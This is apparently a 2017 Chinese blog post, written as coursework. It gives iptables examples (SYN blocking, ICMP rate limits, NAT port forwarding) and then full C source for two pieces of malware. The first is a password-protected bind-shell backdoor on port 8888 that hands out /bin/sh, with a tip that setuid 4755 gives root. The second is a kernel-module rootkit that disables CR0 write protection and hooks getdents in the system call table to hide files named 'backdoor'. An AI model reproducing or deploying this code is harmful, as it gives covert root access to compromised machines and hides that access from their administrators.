实现后门程序以及相应的rootkits,实现对后门程序的隐藏

iptables的一些命令:

a.    a) 使用规则实现外网不能访问本机,但是本机主动发起的连接正常进行。

sudo iptables –A INPUT -p tcp —tcp —syn -j DROP

a.    b) 使用规则限制对icmp echo request的回复为一分钟5次,从而降低攻击风险。

       sudo iptables -A INPUT -p icmp —icmp-type echo-request –m limit —limit-burst 5 -j ACCEPT

       sudo iptables -A INPUT -p icmp —icmp-type echo-request -j DROP

 

 

c) 使用规则实现对一台内网主机的网页代理。例,通过访问A(电脑的未开放的4567端口,实际可以访问到B电脑的80端口上的网页。

iptables -t nat -A PREROUTING -d 10.211.55.3 -p tcp -m tcp —dport 4567 -j DNAT —to-destination 10.211.55.1:80

iptables -t nat -A POSTROUTING -d 10.211.55.1 -p tcp -m tcp —dport 80 -j SNAT —to-source 10.211.55.3:80

 

src_ip="192.168.10.220"

proxy_ip="192.168.10.146"

dest_ip="166.111.4.100"

echo 1 > /proc/sys /net/ipv4/ip_forward

iptables -t nat -F

iptables -t nat -A PREROUTING -d $proxy_ip -p tcp -m tcp --dport 4567 -j DNAT --to-destination $dest_ip:80

iptables -t nat -A POSTROUTING -d $dest_ip -p tcp -m tcp --dport 80 -j SNAT --to-source $proxy_ip:4567

iptables -t nat -A PREROUTING -d $proxy_ip -p tcp -m tcp --sport 80 -j DNAT --to-destination $src_ip

iptables -t nat -A POSTROUTING -d $src_ip -p tcp -m tcp --sport 80 -j SNAT --to-source $proxy_ip:4567

一:后门程序:获得一个shell ,可以通过修改文件权限为4755,获得root shell

#include  <stdio.h> 
#include  <sys/socket.h> 
#include  <unistd.h> 
#include  <sys/types.h> 
#include  <netinet/in.h> 
#include  <stdlib.h>
#include <string.h>


int main(int argc, char **argv)
{
    int i, listenfd, goshyoujinnsama;
    pid_t pid;
    int len = 128;
    int port=8888;  
    char buf[len];
    socklen_t len2;
    struct sockaddr_in s_addr;
    struct sockaddr_in c_addr;
    char enterpass[32]="Stop! who are you ?";
    char welcome[32]="Welcome,master!";
    char password[5]="11111";
    char sorry[32]="heheda !";
    //IPV4,套接口类型为SOCK_STREAM,协议类型不指定
    listenfd = socket(AF_INET,SOCK_STREAM,0);
    if (listenfd == -1){
        exit(1);
    }

    bzero(&s_addr,sizeof(s_addr));
    s_addr.sin_family=AF_INET;  //tcp/ip类型
    s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
    s_addr.sin_port=htons(port);

    if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){
        exit(1);
    }
    //创建一个套接口并监听申请的连接,listenfd:已捆绑未连接套接口的描述字,20:等待连接队列的最大长度
    if (listen(listenfd, 20)==-1){
        exit(1);
    }
    len2 = sizeof(c_addr);

    while(1){
        //接收一个套接口中已经建立的连接,返回所接受包的socket类型值。accept函数主要用于服务器端,一般位于listen函数之后,默认会阻塞进程,直到有一个客户请求连接,建立好连接后,它返回的一个新的套接字 socketfd_new ,此后,服务器端即可使用这个新的套接字socketfd_new与该客户端进行通信,而sockfd 则继续用于监听其他客户端的连接请求。
        goshyoujinnsama = accept(listenfd, (struct sockaddr *)&c_addr, &len2);
        //计算机程序调用的分叉函数,若成功调用,子进程返回0,父进程返回子进程标记。失败返回-1
        if((pid = fork()) > 0)
        {
            exit(0);
        }else if(!pid){
            close(listenfd);
            write(goshyoujinnsama, enterpass, strlen(enterpass));
            memset(buf,'\0', len);
            read(goshyoujinnsama, buf, len);
            if (strncmp(buf,password,5) !=0){
                write(goshyoujinnsama, sorry, strlen(sorry));
                close(goshyoujinnsama);
                exit(0);
            }else{
                write(goshyoujinnsama, welcome, strlen(welcome));
                dup2(goshyoujinnsama,0);
                dup2(goshyoujinnsama,1); 
                dup2(goshyoujinnsama,2);
                execl("/bin/sh", "toSyojinn", (char *) 0);
            }
        }
    }
    close(goshyoujinnsama);
}

二:通过修改系统调用表的getdents函数,使系统调用ls 不能显示攻击者指定的文件,其余文件正常显示

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
#include <linux/slab.h>
#include <linux/init.h>   
#include <linux/stddef.h>     
#include <linux/mm.h>  
#include <linux/in.h>  
#include <asm/processor.h>  
#include <linux/proc_fs.h>

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

static unsigned long ** sys_call_table;

long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
                    unsigned int count);

void disable_write_protection(void)
{
        unsigned long cr0 = read_cr0();
        clear_bit(16, &cr0);
        write_cr0(cr0);
}

void enable_write_protection(void)
{
        unsigned long cr0 = read_cr0();
        set_bit(16, &cr0);
        write_cr0(cr0);
}

void *
get_lstar_sct_addr(void)
{
    //msr寄存器地址
    u64 lstar;
    u64 index;
    //获得sys_call表的地址
    /*可获得系统调用的入口地址,
     然后对该入口地址进行解析得
     到入口函数为system_call*/
    rdmsrl(MSR_LSTAR, lstar);
    /*从0中断服务程序system_call的地址
     开始搜索硬编码 \xff\x14\xc5,
     这块硬编码的后面紧接着就是系统调用表的地址 */
    for (index = 0; index <= PAGE_SIZE; index += 1) {
        u8 *arr = (u8 *)lstar + index;
        //通过sys_call获取sys_call_table特征码
        if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
            return arr + 3;
        }
    }

    return NULL;
}

unsigned long **
get_lstar_sct(void)
{
    unsigned long *lstar_sct_addr = get_lstar_sct_addr();
    if (lstar_sct_addr != NULL) {
        u64 base = 0xffffffff00000000;
        u32 code = *(u32 *)lstar_sct_addr;
        return (void *)(base | code);
    } else {
        return NULL;
    }                                         
}

asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp,
                    unsigned int count){

struct linux_dirent *td,*td1,*td2,*td3;  
int number;
int copy_len = 0;
    // 调用原始的系统调用,下面对返回结果进行过滤  
    number = (*old_getdents) (fd, dirp, count);    ////调用sys_getdents,返回该目录文件下写入目录的总字节数
    if (!number)  
        return (number);
    // 分配内核空间,并把用户空间的数据拷贝到内核空间  GFP_KERNEL:当前进程在少内存的情况下通过休眠来等待一页
    td2 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
    td1 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
    td = td1;
    td3 = td2;
    //*td2是内核空间的指针,*dirp是用户空间指针,n表示从用户空间想内核空间拷贝数据的字节数。
    copy_from_user(td2, dirp, number);
    while(number>0){
        number = number - td2->d_reclen;
        //printk("%s\n",td2->d_name);
        if(strstr(td2->d_name,"backdoor") == NULL){
            //由td2所指内存区域复制td2->dreclen字节到td1区域
            memmove(td1, (char *) td2 , td2->d_reclen);
            td1 = (struct linux_dirent *) ((char *)td1 + td2->d_reclen);
            copy_len = copy_len + td2->d_reclen;
        }

        td2 = (struct linux_dirent *) ((char *)td2 + td2->d_reclen);
    }
    // 将过滤后的数据拷贝回用户空间
    copy_to_user(dirp, td, copy_len);  
    kfree(td); 
    kfree(td3);
    return (copy_len);  
}

static int filter_init(void)
{
    sys_call_table = get_lstar_sct();
    if (!sys_call_table)
    {

        return 0;
    }
    else{
        old_getdents = (void *)sys_call_table[__NR_getdents];
        disable_write_protection();
        sys_call_table[__NR_getdents] = (unsigned long *)&my_getdents;
        enable_write_protection();
    return 0;
    }   
}

static void filter_exit(void)
{
    disable_write_protection();
    sys_call_table[__NR_getdents] = (unsigned long *)old_getdents;
    enable_write_protection();
}
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);

 

posted @ 2017-11-23 21:16  冲向云霄1998  阅读(749)  评论(0编辑  收藏  举报